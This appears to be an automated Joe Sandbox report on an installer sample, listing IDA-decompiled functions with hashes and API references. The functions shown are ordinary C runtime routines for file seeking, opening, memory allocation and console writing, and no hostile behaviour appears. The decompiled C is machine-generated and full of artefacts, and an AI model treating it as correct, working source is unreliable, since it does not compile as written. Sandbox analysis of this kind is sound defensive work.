Opcode Fuzzy Hash: fdd9107ec2789f110af0a8342acae9f9fa0fc43e8a5fbd153d0239db4afd4b87
Instruction Fuzzy Hash: 250114F1100B008BE3308F16D419B43BBE0FB80729F204A2DD58A4AA81D7FAB1188B91

Uniqueness

Uniqueness Score: -1.00%

Function 000CDF8C, Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E000CDF8C(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void* __ebp;
				intOrPtr* _t5;
				void* _t9;

				_t16 = _a4;
				if(_a4 != 0) {
					_t5 = _a8;
					__eflags = _t5;
					if(__eflags == 0) {
						goto L1;
					} else {
						_push(0);
						_push( *((intOrPtr*)(_t5 + 4)));
						_push( *_t5);
						_push(_a4);
						_t9 = E000CDE04(__ebx, __edx, __edi, __esi, __eflags); // executed
						return _t9;
					}
				} else {
					L1:
					 *((intOrPtr*)(E000D1261(_t16))) = 0x16;
					return E000D3462() | 0xffffffff;
				}
			}

0x000cdf8f
0x000cdf93
0x000cdfaa
0x000cdfad
0x000cdfaf
0x00000000
0x000cdfb1
0x000cdfb1
0x000cdfb3
0x000cdfb6
0x000cdfb8
0x000cdfbb
0x000cdfc4
0x000cdfc4
0x000cdf95
0x000cdf95
0x000cdf9a
0x000cdfa9
0x000cdfa9

APIs

__fseeki64.LIBCMT ref: 000CDFBB

Part of subcall function 000D1261: __getptd_noexit.LIBCMT ref: 000D1261

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __fseeki64__getptd_noexit
String ID:
API String ID: 2239767176-0
Opcode ID: 0f37a46f0e09a6d40fe4251d8bd4794d1c3b62437f55e80317f856bb939401fe
Instruction ID: 52bf9c9dc16f4ef68838b20d779208e8edebf1de828e20bc372672c85afd41d7
Opcode Fuzzy Hash: 0f37a46f0e09a6d40fe4251d8bd4794d1c3b62437f55e80317f856bb939401fe
Instruction Fuzzy Hash: 97E0EC71504208AEDF016FA4DC02BAC3B94AF51760F14817AF92C4E6E2DB72E960E661

Uniqueness

Uniqueness Score: -1.00%

Function 000CC70D, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E000CC70D(intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				void* __ebp;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t15;

				_push(_a12);
				_push( *((intOrPtr*)(0xe50f0 + _a8 * 4)));
				_push(_a4);
				_t7 = E000CFD04(_t8, _t9, _t10, _t11, _t12, _t15); // executed
				return _t7;
			}

0x000cc710
0x000cc716
0x000cc71d
0x000cc720
0x000cc729

APIs

__fsopen.LIBCMT ref: 000CC720

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 2ec6ead7f78b371a4487ca3b5a729724d57bf62245ec5cc6aaf06c3b455755b6
Instruction ID: c3ecf0ae6a7fc29cee2ea29b91711fec84a796eb5dae4a7e792c6d3953417e16
Opcode Fuzzy Hash: 2ec6ead7f78b371a4487ca3b5a729724d57bf62245ec5cc6aaf06c3b455755b6
Instruction Fuzzy Hash: 2CC04C7550024DBBCF025F85EC41D9D3B6AAB45755F414420FD1D09231E6339671DAD1

Uniqueness

Uniqueness Score: -1.00%

Function 000C5A70, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C5A70(intOrPtr _a8, intOrPtr _a12) {
				void* _t3;
				void* _t4;

				_t3 = E000CD043(_t4, _a8, _a12); // executed
				return _t3;
			}

0x000c5a79
0x000c5a82

APIs

_calloc.LIBCMT ref: 000C5A79

Part of subcall function 000CD043: __calloc_impl.LIBCMT ref: 000CD056

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: 525bafa97ea1399eb770fad305f417e412ca38870e783dc9fc07a17ca9292b1e
Instruction ID: 343390b225f137e2d0fc83e3dc33d51d61c2d4a2ad5092e8b0790387752412f4
Opcode Fuzzy Hash: 525bafa97ea1399eb770fad305f417e412ca38870e783dc9fc07a17ca9292b1e
Instruction Fuzzy Hash: 54B0123248020C77CF012F85FC02D9D3B2DAB40220F54443AFE1C04122A633A6305A91

Uniqueness

Uniqueness Score: -1.00%

Function 000C5A90, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C5A90(intOrPtr _a8) {
				void* _t2;

				_t2 = E000CD081(_a8); // executed
				return _t2;
			}

0x000c5a96
0x000c5a9f

APIs

_free.LIBCMT ref: 000C5A96

Part of subcall function 000CD081: RtlFreeHeap.NTDLL(00000000,00000000,?,000D4FE2,00000000,000D1266,000D410D,00000000,?,000CFC39,?,?,00000000), ref: 000CD095
Part of subcall function 000CD081: GetLastError.KERNEL32(00000000,?,000D4FE2,00000000,000D1266,000D410D,00000000,?,000CFC39,?,?,00000000,?,?,?,000D50DC), ref: 000CD0A7

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 3db55d7de3d8ad60e355141882758400c9cf84697cd164ffd4a1d44126324862
Instruction ID: 6e5351da1796e3cbf8e842da8cb2a1d732d35b7f3cf659d6da933e87a7126460
Opcode Fuzzy Hash: 3db55d7de3d8ad60e355141882758400c9cf84697cd164ffd4a1d44126324862
Instruction Fuzzy Hash: F7A0127180010C238A002645BC02989370C4A00134F544032F80D041137523A5605083

Uniqueness

Uniqueness Score: -1.00%

Function 000C2DC0, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C2DC0(void* __eflags) {
				void* _t4;

				E000C1760(_t4, __eflags); // executed
				 *0xf1ab1 = 1;
				ShowWindow( *0xf1ab8, 5);
				return 0;
			}

0x000c2dc0
0x000c2dcd
0x000c2dd4
0x000c2ddc

APIs

ShowWindow.USER32(00000005), ref: 000C2DD4

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 0bd37262361cec77f87f137e4bf74227c498d71d877b76908dfc1617b4af460d
Instruction ID: 639f16a9d73dc815a74acccfefc745ecc0a324776c64a8e53b87897d903a6eb5
Opcode Fuzzy Hash: 0bd37262361cec77f87f137e4bf74227c498d71d877b76908dfc1617b4af460d
Instruction Fuzzy Hash: B8C09B7418D6C0D9F701D7346C8DBD57950576571AF424254B10094963D6694090E616

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000D56F7, Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

			E000D56F7(void* __ebx, void* __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				char _v15;
				void _v16;
				short _v1724;
				char _v5140;
				void _v6844;
				void* _v6848;
				signed int _v6852;
				short _v6856;
				signed int _v6860;
				signed int _v6864;
				signed int _v6868;
				char _v6872;
				long _v6876;
				long _v6880;
				char _v6881;
				long _v6888;
				intOrPtr _v6892;
				signed int _v6896;
				int _v6900;
				void* __edi;
				signed int _t252;
				signed int _t254;
				signed int _t257;
				intOrPtr _t259;
				signed int _t260;
				signed int* _t271;
				signed int _t276;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t292;
				short _t295;
				signed int _t296;
				signed int _t302;
				void* _t307;
				signed int _t312;
				int _t313;
				short _t315;
				signed int _t317;
				void* _t318;
				signed int _t323;
				void* _t325;
				signed int _t326;
				long _t330;
				signed int _t334;
				signed int _t340;
				void* _t347;
				short _t351;
				void* _t352;
				signed char _t364;
				signed int _t365;
				signed int _t366;
				signed int* _t367;
				long _t368;
				char* _t369;
				long _t370;
				signed int _t371;
				signed int _t372;
				signed int _t374;
				intOrPtr _t375;
				short _t382;
				signed int _t383;
				signed int _t386;
				signed int _t388;
				signed int _t391;
				char _t394;
				signed int _t395;
				signed int _t396;
				signed short* _t399;
				void* _t400;
				char _t401;
				short _t407;
				signed int _t408;
				signed int _t410;
				short _t411;
				intOrPtr _t416;
				intOrPtr* _t417;
				signed int _t418;
				signed int _t420;
				char _t421;
				signed int _t426;
				signed int _t427;
				signed short* _t428;
				signed int _t430;
				signed int _t431;
				signed int _t432;
				void* _t433;

				_t423 = __esi;
				_t361 = __ebx;
				E000DE0D0(0x1af0);
				_t252 =  *0xef6ac; // 0xcff43140
				_v8 = _t252 ^ _t432;
				_t254 = _a4;
				_t372 = _a8;
				_t407 = 0;
				_t418 = 0;
				_v6852 = _t254;
				_v6848 = _t372;
				_v6856 = 0;
				_v6872 = 0;
				if(_a12 != 0) {
					__eflags = _t372;
					if(__eflags != 0) {
						_push(__ebx);
						_push(__esi);
						_t374 = _t254 >> 5;
						_t426 = (_t254 & 0x0000001f) << 6;
						_v6868 = _t374;
						_t375 =  *((intOrPtr*)(0xf1760 + _t374 * 4));
						_v6896 = _t426;
						_t364 =  *((intOrPtr*)(_t426 + _t375 + 0x24)) +  *((intOrPtr*)(_t426 + _t375 + 0x24)) >> 1;
						__eflags = _t364 - 2;
						if(_t364 == 2) {
							L6:
							__eflags =  !_a12 & 0x00000001;
							if(__eflags != 0) {
								_t254 = _v6852;
								L9:
								__eflags =  *(_t426 + _t375 + 4) & 0x00000020;
								if(__eflags != 0) {
									E000D643C(_t375, __eflags, _t254, _t407, _t407, 2);
									_t433 = _t433 + 0x10;
								}
								_t257 = E000DAA3C(_v6852);
								__eflags = _t257;
								if(_t257 == 0) {
									L50:
									_t259 =  *((intOrPtr*)(0xf1760 + _v6868 * 4));
									__eflags =  *(_t426 + _t259 + 4) & 0x00000080;
									if(( *(_t426 + _t259 + 4) & 0x00000080) == 0) {
										_t260 = WriteFile( *(_t426 + _t259), _v6848, _a12,  &_v6876, 0);
										__eflags = _t260;
										if(_t260 == 0) {
											goto L92;
										}
										_t418 = _v6876;
										_t427 = 0;
										goto L93;
									}
									_t407 = _v6848;
									_t427 = 0;
									_v6860 = 0;
									__eflags = _t364;
									if(_t364 != 0) {
										_t382 = _t407;
										__eflags = _t364 - 2;
										if(_t364 != 2) {
											_t366 = _a12;
											_v6880 = _t382;
											__eflags = _t366;
											if(_t366 == 0) {
												goto L99;
											}
											_v6892 = 0xa;
											do {
												_v6888 = _v6888 & 0x00000000;
												_t428 = _v6880;
												_t383 = _t382 - _t407;
												__eflags = _t383;
												_t408 = _v6888;
												_t271 =  &_v1724;
												do {
													__eflags = _t383 - _t366;
													if(_t383 >= _t366) {
														break;
													}
													_t420 =  *_t428 & 0x0000ffff;
													_t428 =  &(_t428[1]);
													_t383 = _t383 + 2;
													_v6880 = _t428;
													__eflags = _t420 - _v6892;
													if(_t420 == _v6892) {
														_t430 = 0xd;
														 *_t271 = _t430;
														_t428 = _v6880;
														_t271 =  &(_t271[0]);
														_t408 = _t408 + 2;
														__eflags = _t408;
													}
													 *_t271 = _t420;
													_t408 = _t408 + 2;
													_t271 =  &(_t271[0]);
													__eflags = _t408 - 0x6a8;
												} while (_t408 < 0x6a8);
												asm("cdq");
												_t276 = WideCharToMultiByte(0xfde9, 0,  &_v1724, _t271 -  &_v1724 - _t408 >> 1,  &_v5140, 0xd55, 0, 0);
												_t427 = _v6860;
												_t418 = _v6856;
												_v6864 = _t276;
												__eflags = _t276;
												if(_t276 == 0) {
													goto L92;
												}
												_t386 = 0;
												__eflags = 0;
												_v6852 = 0;
												while(1) {
													_t282 = WriteFile( *(_v6896 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &(( &_v5140)[_t386]), _t276 - _t386,  &_v6876, 0);
													__eflags = _t282;
													if(_t282 == 0) {
														break;
													}
													_t386 = _v6852 + _v6876;
													_t276 = _v6864;
													_v6852 = _t386;
													__eflags = _t276 - _t386;
													if(_t276 > _t386) {
														continue;
													}
													L87:
													__eflags = _t284 - _t388;
													if(_t284 > _t388) {
														goto L93;
													}
													goto L88;
												}
												_t283 = GetLastError();
												_t388 = _v6852;
												_t427 = _t283;
												_t284 = _v6864;
												_v6860 = _t427;
												goto L87;
												L88:
												_t382 = _v6880;
												_t407 = _v6848;
												_t418 = _t382 - _t407;
												_v6856 = _t418;
												__eflags = _t418 - _t366;
											} while (_t418 < _t366);
											goto L94;
										}
										_v6852 = _t382;
										__eflags = _a12;
										if(_a12 <= 0) {
											goto L99;
										}
										_v6892 = 0xa;
										do {
											_v6888 = _v6888 & 0x00000000;
											_t421 = _v6872;
											_t286 = _t382 - _t407;
											__eflags = _t286;
											_t410 = _v6888;
											_t367 =  &_v6844;
											do {
												__eflags = _t286 - _a12;
												if(_t286 >= _a12) {
													break;
												}
												_t431 =  *_t382 & 0x0000ffff;
												_t382 = _t382 + 2;
												_t286 = _t286 + 2;
												_v6852 = _t382;
												__eflags = _t431 - _v6892;
												if(_t431 == _v6892) {
													_t391 = 0xd;
													 *_t367 = _t391;
													_t382 = _v6852;
													_t421 = _t421 + 2;
													_t367 =  &(_t367[0]);
													_t410 = _t410 + 2;
													__eflags = _t410;
												}
												 *_t367 = _t431;
												_t410 = _t410 + 2;
												_t367 =  &(_t367[0]);
												__eflags = _t410 - 0x13fe;
											} while (_t410 < 0x13fe);
											_t368 = _t367 -  &_v6844;
											_v6872 = _t421;
											_t292 = WriteFile( *(_v6896 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &_v6844, _t368,  &_v6876, 0);
											_t427 = _v6860;
											_t418 = _v6856;
											__eflags = _t292;
											if(_t292 == 0) {
												goto L92;
											}
											_t418 = _t418 + _v6876;
											_t407 = _v6848;
											_v6856 = _t418;
											__eflags = _v6876 - _t368;
											if(_v6876 < _t368) {
												goto L94;
											}
											_t382 = _v6852;
											__eflags = _t382 - _t407 - _a12;
										} while (_t382 - _t407 < _a12);
										goto L94;
									}
									_t295 = _t407;
									_v6856 = _t295;
									__eflags = _a12;
									if(_a12 <= 0) {
										goto L99;
									} else {
										goto L53;
									}
									do {
										L53:
										_t296 = _t295 - _t407;
										__eflags = _t296;
										_t411 = _v6856;
										_t369 =  &_v6844;
										_v6852 = 0;
										do {
											__eflags = _t296 - _a12;
											if(_t296 >= _a12) {
												break;
											}
											_t394 =  *_t411;
											_t296 = _t296 + 1;
											_v6881 = _t394;
											__eflags = _t394 - 0xa;
											_t395 = _v6852;
											_v6856 = _t411 + 1;
											if(_t394 == 0xa) {
												_v6872 = _v6872 + 1;
												 *_t369 = 0xd;
												_t369 = _t369 + 1;
												_t395 = _t395 + 1;
												__eflags = _t395;
											}
											 *_t369 = _v6881;
											_t411 = _v6856;
											_t369 = _t369 + 1;
											_t396 = _t395 + 1;
											_v6852 = _t396;
											__eflags = _t396 - 0x13ff;
										} while (_t396 < 0x13ff);
										_t370 = _t369 -  &_v6844;
										_t302 = WriteFile( *(_v6896 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &_v6844, _t370,  &_v6876, 0);
										__eflags = _t302;
										if(_t302 == 0) {
											goto L92;
										}
										_t418 = _t418 + _v6876;
										_t407 = _v6848;
										__eflags = _v6876 - _t370;
										if(_v6876 < _t370) {
											goto L94;
										}
										__eflags = _v6856 - _t407 - _a12;
										_t295 = _v6856;
									} while (_v6856 - _t407 < _a12);
									goto L94;
								} else {
									__eflags =  *(_t426 +  *((intOrPtr*)(0xf1760 + _v6868 * 4)) + 4) & 0x00000080;
									if(__eflags == 0) {
										goto L50;
									}
									_t307 = E000D4F6A(_t418, __eflags);
									__eflags =  *( *((intOrPtr*)(_t307 + 0x6c)) + 0xa8);
									_v6852 = 0 |  *( *((intOrPtr*)(_t307 + 0x6c)) + 0xa8) == 0x00000000;
									_t312 = GetConsoleMode( *(_t426 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &_v6888);
									__eflags = _t312;
									if(_t312 == 0) {
										goto L50;
									}
									__eflags = _v6852 - _t418;
									if(_v6852 == _t418) {
										L16:
										_t313 = GetConsoleCP();
										_t407 = _v6848;
										_v6880 = _v6880 & _t418;
										_t399 = _t407;
										_v6900 = _t313;
										_v6864 = _t399;
										__eflags = _a12 - _t418;
										if(_a12 <= _t418) {
											_t427 = _v6852;
											L95:
											__eflags = _t427;
											if(_t427 == 0) {
												L99:
												__eflags =  *(_v6896 +  *((intOrPtr*)(0xf1760 + _v6868 * 4)) + 4) & 0x00000040;
												if(__eflags == 0) {
													L102:
													 *((intOrPtr*)(E000D1261(__eflags))) = 0x1c;
													_t267 = E000D122D(__eflags);
													 *_t267 =  *_t267 & 0x00000000;
													__eflags =  *_t267;
													L103:
													L105:
													_pop(_t423);
													_pop(_t361);
													L106:
													return E000CC7C7(_t361, _v8 ^ _t432, _t407, _t418, _t423);
												}
												__eflags =  *_t407 - 0x1a;
												if(__eflags != 0) {
													goto L102;
												}
												goto L105;
											}
											_t365 = 5;
											__eflags = _t427 - _t365;
											if(__eflags != 0) {
												_t267 = E000D1240(_t427);
											} else {
												 *((intOrPtr*)(E000D1261(__eflags))) = 9;
												 *(E000D122D(__eflags)) = _t365;
											}
											goto L103;
										}
										__eflags = 0;
										_v6860 = 0;
										_v6892 = 0xa;
										do {
											__eflags = _t364;
											if(_t364 != 0) {
												__eflags = _t364 - 1;
												if(_t364 == 1) {
													L37:
													_t315 =  *_t399 & 0x0000ffff;
													__eflags = _t315 - _v6892;
													_v6856 = _t315;
													_t399 =  &(_t399[1]);
													_t317 = _v6860 + 2;
													__eflags = _t317;
													_v6864 = _t399;
													_v6860 = _t317;
													_v6852 = 0 | _t315 == _v6892;
													L38:
													__eflags = _t364 - 1;
													if(_t364 == 1) {
														L40:
														_t318 = E000DE083(_t399, _v6856);
														_pop(_t400);
														__eflags = _t318 - _v6856;
														if(_t318 != _v6856) {
															L92:
															_t427 = GetLastError();
															L93:
															_t407 = _v6848;
															L94:
															__eflags = _t418;
															if(_t418 != 0) {
																__eflags = _t418;
																goto L105;
															}
															goto L95;
														}
														_t418 = _t418 + 2;
														__eflags = _v6852;
														if(_v6852 == 0) {
															L44:
															_t317 = _v6860;
															_t399 = _v6864;
															goto L45;
														}
														_t351 = 0xd;
														_v6856 = _t351;
														_t352 = E000DE083(_t400, _t351);
														__eflags = _t352 - _v6856;
														if(_t352 != _v6856) {
															goto L92;
														}
														_t418 = _t418 + 1;
														_t118 =  &_v6872;
														 *_t118 = _v6872 + 1;
														__eflags =  *_t118;
														goto L44;
													}
													__eflags = _t364 - 2;
													if(_t364 != 2) {
														goto L45;
													}
													goto L40;
												}
												__eflags = _t364 - 2;
												if(_t364 != 2) {
													goto L38;
												}
												goto L37;
											}
											_t401 =  *_t399;
											__eflags = _t401 - 0xa;
											_v6852 = 0 | _t401 == 0x0000000a;
											_t416 =  *((intOrPtr*)(0xf1760 + _v6868 * 4));
											__eflags =  *(_t426 + _t416 + 0x38);
											if( *(_t426 + _t416 + 0x38) == 0) {
												_t323 = E000DA642(_t401);
												__eflags = _t323;
												if(_t323 == 0) {
													_push(1);
													_push(_v6864);
													L26:
													_push( &_v6856);
													_t325 = E000DE06B();
													_t433 = _t433 + 0xc;
													__eflags = _t325 - 0xffffffff;
													if(_t325 == 0xffffffff) {
														L48:
														_t427 = _v6852;
														goto L93;
													}
													_t326 = _v6864;
													L28:
													_v6860 = _v6860 + 1;
													_v6864 = _t326 + 1;
													_t330 = WideCharToMultiByte(_v6900, 0,  &_v6856, 1,  &_v16, 5, 0, 0);
													_v6888 = _t330;
													__eflags = _t330;
													if(_t330 == 0) {
														goto L48;
													}
													_t334 = WriteFile( *(_t426 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &_v16, _t330,  &_v6880, 0);
													__eflags = _t334;
													if(_t334 == 0) {
														goto L92;
													}
													_t418 = _v6860 + _v6872;
													__eflags = _v6880 - _v6888;
													if(_v6880 < _v6888) {
														goto L48;
													}
													__eflags = _v6852;
													if(_v6852 == 0) {
														goto L44;
													}
													_v16 = 0xd;
													_t340 = WriteFile( *(_t426 +  *((intOrPtr*)(0xf1760 + _v6868 * 4))),  &_v16, 1,  &_v6880, 0);
													__eflags = _t340;
													if(_t340 == 0) {
														goto L92;
													}
													__eflags = _v6880 - 1;
													if(_v6880 < 1) {
														goto L48;
													}
													_v6872 = _v6872 + 1;
													_t418 = _t418 + 1;
													goto L44;
												}
												_t417 = _v6864;
												__eflags = _v6848 - _t417 + _a12 - 1;
												if(_v6848 - _t417 + _a12 <= 1) {
													_t371 = _v6868;
													_t418 = _t418 + 1;
													__eflags = _t418;
													 *((char*)(_t426 +  *((intOrPtr*)(0xf1760 + _t371 * 4)) + 0x34)) =  *_t417;
													 *(_t426 +  *((intOrPtr*)(0xf1760 + _t371 * 4)) + 0x38) = 1;
													goto L48;
												}
												_t347 = E000DE06B( &_v6856, _t417, 2);
												_t433 = _t433 + 0xc;
												__eflags = _t347 - 0xffffffff;
												if(_t347 == 0xffffffff) {
													goto L48;
												}
												_t326 = _v6864 + 1;
												_v6860 = _v6860 + 1;
												goto L28;
											}
											_v16 =  *((intOrPtr*)(_t426 + _t416 + 0x34));
											_push(2);
											_v15 = _t401;
											 *(_t426 + _t416 + 0x38) =  *(_t426 + _t416 + 0x38) & 0x00000000;
											_push( &_v16);
											goto L26;
											L45:
											__eflags = _t317 - _a12;
										} while (_t317 < _a12);
										goto L48;
									}
									__eflags = _t364;
									if(_t364 == 0) {
										goto L50;
									}
									goto L16;
								}
							}
							 *(E000D122D(__eflags)) =  *_t354 & _t418;
							 *((intOrPtr*)(E000D1261(__eflags))) = 0x16;
							_t267 = E000D3462();
							goto L103;
						}
						__eflags = _t364 - 1;
						if(_t364 != 1) {
							goto L9;
						}
						goto L6;
					}
					 *(E000D122D(__eflags)) =  *_t356 & 0;
					 *((intOrPtr*)(E000D1261(__eflags))) = 0x16;
					E000D3462();
					goto L106;
				}
				goto L106;
			}

0x000d56f7
0x000d56f7
0x000d56ff
0x000d5704
0x000d570b
0x000d570e
0x000d5711
0x000d5714
0x000d5717
0x000d5719
0x000d571f
0x000d5725
0x000d572b
0x000d5734
0x000d573d
0x000d573f
0x000d5760
0x000d5761
0x000d5764
0x000d576c
0x000d576f
0x000d5775
0x000d577c
0x000d5788
0x000d578a
0x000d578d
0x000d5794
0x000d5799
0x000d579b
0x000d57b9
0x000d57bf
0x000d57bf
0x000d57c4
0x000d57cb
0x000d57d0
0x000d57d0
0x000d57d9
0x000d57df
0x000d57e1
0x000d5aff
0x000d5b05
0x000d5b0c
0x000d5b11
0x000d5e81
0x000d5e87
0x000d5e89
0x00000000
0x00000000
0x000d5e8b
0x000d5e91
0x00000000
0x000d5e91
0x000d5b17
0x000d5b1d
0x000d5b1f
0x000d5b25
0x000d5b27
0x000d5c0e
0x000d5c10
0x000d5c13
0x000d5d17
0x000d5d1a
0x000d5d20
0x000d5d22
0x00000000
0x00000000
0x000d5d28
0x000d5d32
0x000d5d32
0x000d5d39
0x000d5d3f
0x000d5d3f
0x000d5d41
0x000d5d47
0x000d5d4d
0x000d5d4d
0x000d5d4f
0x00000000
0x00000000
0x000d5d51
0x000d5d54
0x000d5d57
0x000d5d5a
0x000d5d60
0x000d5d67
0x000d5d6b
0x000d5d6c
0x000d5d6f
0x000d5d75
0x000d5d78
0x000d5d78
0x000d5d78
0x000d5d7b
0x000d5d7e
0x000d5d81
0x000d5d84
0x000d5d84
0x000d5da4
0x000d5db3
0x000d5db9
0x000d5dbf
0x000d5dc5
0x000d5dcb
0x000d5dcd
0x00000000
0x00000000
0x000d5dd3
0x000d5dd3
0x000d5dd5
0x000d5ddb
0x000d5e06
0x000d5e0c
0x000d5e0e
0x00000000
0x00000000
0x000d5e16
0x000d5e1c
0x000d5e22
0x000d5e28
0x000d5e2a
0x00000000
0x00000000
0x000d5e48
0x000d5e48
0x000d5e4a
0x00000000
0x00000000
0x00000000
0x000d5e4a
0x000d5e2e
0x000d5e34
0x000d5e3a
0x000d5e3c
0x000d5e42
0x00000000
0x000d5e4c
0x000d5e4c
0x000d5e52
0x000d5e5a
0x000d5e5c
0x000d5e62
0x000d5e62
0x00000000
0x000d5e6a
0x000d5c19
0x000d5c1f
0x000d5c22
0x00000000
0x00000000
0x000d5c28
0x000d5c32
0x000d5c32
0x000d5c39
0x000d5c41
0x000d5c41
0x000d5c43
0x000d5c49
0x000d5c4f
0x000d5c4f
0x000d5c52
0x00000000
0x00000000
0x000d5c54
0x000d5c57
0x000d5c5a
0x000d5c5d
0x000d5c63
0x000d5c6a
0x000d5c6e
0x000d5c6f
0x000d5c72
0x000d5c78
0x000d5c7b
0x000d5c7e
0x000d5c7e
0x000d5c7e
0x000d5c81
0x000d5c84
0x000d5c87
0x000d5c8a
0x000d5c8a
0x000d5c9e
0x000d5cb7
0x000d5cc7
0x000d5ccd
0x000d5cd3
0x000d5cd9
0x000d5cdb
0x00000000
0x00000000
0x000d5ce1
0x000d5ce7
0x000d5ced
0x000d5cf3
0x000d5cf9
0x00000000
0x00000000
0x000d5cff
0x000d5d09
0x000d5d09
0x00000000
0x000d5d12
0x000d5b2d
0x000d5b2f
0x000d5b35
0x000d5b38
0x00000000
0x00000000
0x00000000
0x00000000
0x000d5b3e
0x000d5b3e
0x000d5b40
0x000d5b40
0x000d5b42
0x000d5b48
0x000d5b4e
0x000d5b54
0x000d5b54
0x000d5b57
0x00000000
0x00000000
0x000d5b59
0x000d5b5c
0x000d5b5d
0x000d5b63
0x000d5b66
0x000d5b6c
0x000d5b72
0x000d5b74
0x000d5b7a
0x000d5b7d
0x000d5b7e
0x000d5b7e
0x000d5b7e
0x000d5b85
0x000d5b87
0x000d5b8d
0x000d5b8e
0x000d5b8f
0x000d5b95
0x000d5b95
0x000d5ba9
0x000d5bcc
0x000d5bd2
0x000d5bd4
0x00000000
0x00000000
0x000d5bda
0x000d5be0
0x000d5be6
0x000d5bec
0x00000000
0x00000000
0x000d5bfa
0x000d5bfd
0x000d5bfd
0x00000000
0x000d57e7
0x000d57f4
0x000d57f9
0x00000000
0x00000000
0x000d57ff
0x000d5809
0x000d5829
0x000d582f
0x000d5835
0x000d5837
0x00000000
0x00000000
0x000d583d
0x000d5843
0x000d584d
0x000d584d
0x000d5853
0x000d5859
0x000d585f
0x000d5861
0x000d5867
0x000d586d
0x000d5870
0x000d5af4
0x000d5ea7
0x000d5ea7
0x000d5ea9
0x000d5ecf
0x000d5ee2
0x000d5ee7
0x000d5ef2
0x000d5ef7
0x000d5efd
0x000d5f02
0x000d5f02
0x000d5f05
0x000d5f12
0x000d5f12
0x000d5f13
0x000d5f14
0x000d5f20
0x000d5f20
0x000d5ee9
0x000d5eec
0x00000000
0x00000000
0x00000000
0x000d5eee
0x000d5ead
0x000d5eae
0x000d5eb0
0x000d5ec7
0x000d5eb2
0x000d5eb7
0x000d5ec2
0x000d5ec2
0x00000000
0x000d5eb0
0x000d5876
0x000d5878
0x000d587e
0x000d5888
0x000d5888
0x000d588a
0x000d5a1f
0x000d5a22
0x000d5a29
0x000d5a29
0x000d5a2e
0x000d5a35
0x000d5a44
